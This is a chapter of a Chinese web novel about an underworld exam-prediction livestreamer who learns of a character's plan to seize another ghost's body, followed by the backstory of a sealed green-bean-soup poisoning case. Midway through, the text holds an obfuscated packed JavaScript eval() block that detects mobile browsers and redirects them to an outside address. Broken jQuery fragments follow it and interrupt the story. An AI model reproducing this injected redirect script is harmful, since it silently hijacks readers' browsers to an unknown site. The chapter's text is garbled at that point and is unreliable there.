28. 绿豆汤水

作品:《地府考公,直播押题

    “鬼暝楼真是冲风口上,一天天的风这么大。”凌鹤寻连着打了两三个喷嚏,心中很是不爽。


    阿陶这边泪还未落,眼眶骨上咕噜噜冒着泪泡。那场变故之后,他就再也没见过凌鹤寻了。


    也是直到100多年之后,他才从凌千迟那里知道,凌鹤寻当初被提前下课的鬼卿夫子救了下来。


    可知道时也没用了,它已经变成了这个样子。


    为了不破坏鬼卿夫子的安排,它一直一直待在鬼府里面,半步也没有离开过。


    直到夫子那边出了意外,万赋雪顶替上岗,凌鹤寻叫它状告万赋雪时,它才头一次跟着鬼差们回到了经年未见的鬼暝楼。


    凌鹤寻得意道:“我猜,红神面看见你这张脸时的表情一定会很精彩,所以我专门叫阿陶快些出来告你状,好让青天府那边忙碌忙碌。”


    万赋雪一口水呛在嘴里,她还以为凌鹤寻那样做是有特意的安排呢。


    末了,凌鹤寻补充道:“不过倒也不是单纯为了吓唬吓唬红神面啦,虽然我跟他不对付……那家伙烦的很,干事不利索,审批不利索,加班也不利索,就摸鱼最利索,无论在什么事儿上,都是中立,中立,再中立,半点儿不肯表明一下自己的立场,虽然我能理解,但我觉得没必要,这里毕竟是地府,不是阳间,拿阳间那一套在这里玩,未免太过无聊了。


    “难得地府的大家这么能活,不搞点刺激的,实在太可惜了……好吧,话说回来,红神面一定一定会把你认成不周山那位的孩子,我就是想到了这一点,才突发奇想地喊阿陶干了这么一出。


    “啊,你可能不知道,不周山的小万大侠以前就用过这样的法子来金蝉脱壳,假死后重出地府的小万大侠狡辩说自己是自己的女儿,奈何桥塌了,于是她意外从未来的地府飞过来了。自己和娘一个名字,誓要把这名字一代代传下去。你猜怎地,红神面他信了。但是这个‘女儿’没有存在多久,不周山的老师父出山显灵,把‘女儿’送回了‘未来’,又把‘已死’的万赋雪复活了。


    “老师父也是闲,居然真的陪大家演戏,好笑。死而复生的万赋雪觉得这个法子以后或许还能用得上,啊,她指的是以后在坑红神面时会用得上,所以死而复生的她掐指一算,说天象有异,奈何桥不稳,以后自个的女儿八成还会回来。红神面脸都白了,可好玩了。”虽然嘴里说笑,但凌鹤寻并无笑意。


    她轻咳了两声,“扯远了,总之如果不是这番巧合,我本来是打算让阿陶一直待在鬼府,直到我和凌千迟把外面的事都解决干净了再说。哦,对,你应该还不知道,凌千迟那死孩子上任之后多管闲事,不小心被扯进了一个案子里顶罪,本身这事也好解决,请鬼府里的大人们查清楚就好了,可你也晓得,我和凌千迟、阿陶身上的功德太乱了,不费个几百年洗不干净,如果那时候赶请鬼府里的大人彻查我们清白的话……八成又要把凌家的案子查出来了。”


    万赋雪心领神会,“所以你们是打算让红神面帮忙洗白功德,彻底把以前的案子盖过去……这样算来的话,倒是我干了麻烦事,我把你们的案子彻底闹大了。”


    凌鹤寻毫不介意地咧开嘴笑了,“无妨无妨,不影响,我确实有意利用一下红神面,但主要目的不在这,万姑娘现在一定对鬼皮灯笼不陌生了吧。”


    不知怎地,万赋雪忽然觉得她这笑有几分阴恻恻的。


    “……不陌生了。”


    “鬼皮灯笼是把魂灵封在灯笼里,封在灯笼里的前一刻,会进入一个短暂到只有几秒钟的昏死状态,正是这个状态给大家躲避功德清算提供了漏子,但这也有风险,就比如阿陶。一个不小心,被人刻意点亮了灯笼,他就再也无法变回来了。所以我想到了另外一个漏子,假如在一开始的时候,就不是把魂灵封在灯笼里,而是把魂灵封在另一个鬼民体内呢。”


    维修员脑中警铃大作,“万、万女士,我有点害怕,她说这话的意思……莫不是想拉一个无辜鬼民当替罪羊?把自己的魂,换进另一个鬼民的身体里,那……”


    万赋雪替维修员问出了它想问的问题,“那另一个鬼民的魂灵呢?”


    凌鹤寻遗憾地瘪了瘪嘴,“非常可惜,由于我将占据他的身体,所以他的魂灵将无处可去,最终汇入地府的灵炉里。”


    灵炉是地府中心的中心,也是孤魂野鬼和重刑犯的最终去处,当然,那些毫无功德积累,老到将死的魂灵也会前往那里。


    灵炉会把所有的魂灵炼化为一股运转阴阳的气,由此维持地府的运作。


    自灵炉建成以来,它就由三教五氏轮流接管,至此已经上万年了。不过这上万年期间,也一直有人对灵炉持否定意见,宿偃风就是其中之一,生子前的神南桑也是。


    “你这是犯法。”


    “我当然知道。”凌鹤寻神色淡定,“你猜我和凌千迟死去的爹娘为何一直没有轮回投胎?”


    万赋雪霎时惊醒,按照地府的流程,意外死掉的鬼民会立刻插队投胎,就像鬼卿夫子一样,但这个流程中存在很多不确定因素,以至于真正能顺利投胎的鬼民只有少数。


    所以凌家爹娘没有顺利投胎的事,她一直没有放在心上,觉得只是地府的系统又出现了问题而已,没想过他们会和案件有更多联系。


    可现在……凌鹤寻把一切捅到了明面上。


    万赋雪迟疑道:“你是说……你,想用他们的身体。”


    凌鹤寻心满意足的笑了,“孺子可教。你不觉得他们很活该吗,他们可是人贩子啊,我和凌千迟就是被偷来的小孩。”


    ……案子里没有提到过这一点,她完全不知道,也不知该作何回应。


    从法理上说,凌鹤寻不该这么做,从道德上讲,凌鹤寻不能这么做,可她和凌鹤寻素昧平生,就算凌鹤寻要犯法,那也是该有鬼府来判定。


    她没有资格去左右凌鹤寻的选择,完全没有。


    地府崇尚同态复仇,对凌鹤寻而言,爹娘无疑就等于仇人,她想报复也无可厚非。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163308|163948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虽然凌千迟有点没必要……在万赋雪印象里,凌家爹娘应该从未亏待过凌千迟,偏爱男孩的他们甚至一直用凌鹤寻来给凌千迟铺路。


    可如果事情真如凌鹤寻所言,她和凌千迟都是被偷来的孩子的话……凌千迟恨爹娘倒也实属正常了。


    万赋雪心里一琢磨,当即问出了自己最想问的一个问题,“能直播吗?”


    凌鹤寻毫不意外,果断回应,“必须可以。”


    “成。有啥需要帮忙的直接喊我,中间你们进行的过程中,最好也喊上我,我带着符龟过去,我这边自带摄像,完全不碍你们事,直播完我就撤,但我要提前告知一点,我这边直播是押题性质的,需要展现案件全貌,所以不能知情不报。或许这样会影响你们的计划。”


    “不妨事。”凌鹤寻道:“我这借尸还魂的关键时刻你拍不到的,只要拍不到,就没鬼有证据告我。”


    万赋雪不以为然,普通摄像可能拍不到,但她的摄像是二百鹉啊!


    一只半仙!


    万赋雪愉快地向她挑了下眉,“合作愉快,至于其他犯法不犯法的事,就由鬼府看了直播来判断吧。”


    “合作愉快。”凌鹤寻眨了下眼睛,“眼下刚合作我就需要你帮忙了。”


    “什么。”


    “霍谅。”凌鹤寻报出一个名字,“凌千迟被拉来顶罪的案子——绿豆汤案,你知道这个吗。”


    维修员猛地大喊,“万女士,我知道!我知道!”


    这是玉尘900年的案子了。八月份的时候,通夕的一个客栈照旧要煮绿豆汤给客人解暑。


    厨房的伙计去打水时瞧见井水变黄了,心里犯起了嘀咕,他舀了一瓢,味道一如往常,便放心地把水打了回去。


    一回去后厨就开始煮绿豆汤,绿豆下进去煮了半天,顺带着也把井水的颜色盖了过去。


    伙计越寻思越放心,猜测可能是有鬼误把茶饼掉进去了,以前也有类似的事,有冒失的鬼民不小心把一船的茶都翻进了河里,导致那条河都泛起了一层茶色。


    想罢,伙计在菜品的木牌上写下了乌龙绿豆汤几个字。


    绿豆汤被送上了一张张桌子上。


    当夜,喝了绿豆汤的鬼民都开始闹肚子,岐黄那边人满为患。


    不止这些鬼民,在那口井附近打水的所有鬼民都遭了殃。


    鬼府因此派鬼差来此调查,这一查不得,原来那口井下面硬生生被溺死了足足8个鬼民。


    还有一个鬼民没有死,吊着一口气儿被救了回来,维修员还记得他的名字叫“霍谅”。


    绿豆汤案的第九个鬼民,也是唯一存活的鬼民。


    绿豆汤案在地府掀起轩然大波,无数鬼民担惊受怕地等待着鬼府的调查结果,却在一个月后得知这桩案子被封存在了鬼府密档里,从此再无音讯,只在鬼府里面流传着些许猜测,说案子似乎和黄票衙的凌千迟有那么一点点关系。


    次月,霍谅进入黄票衙。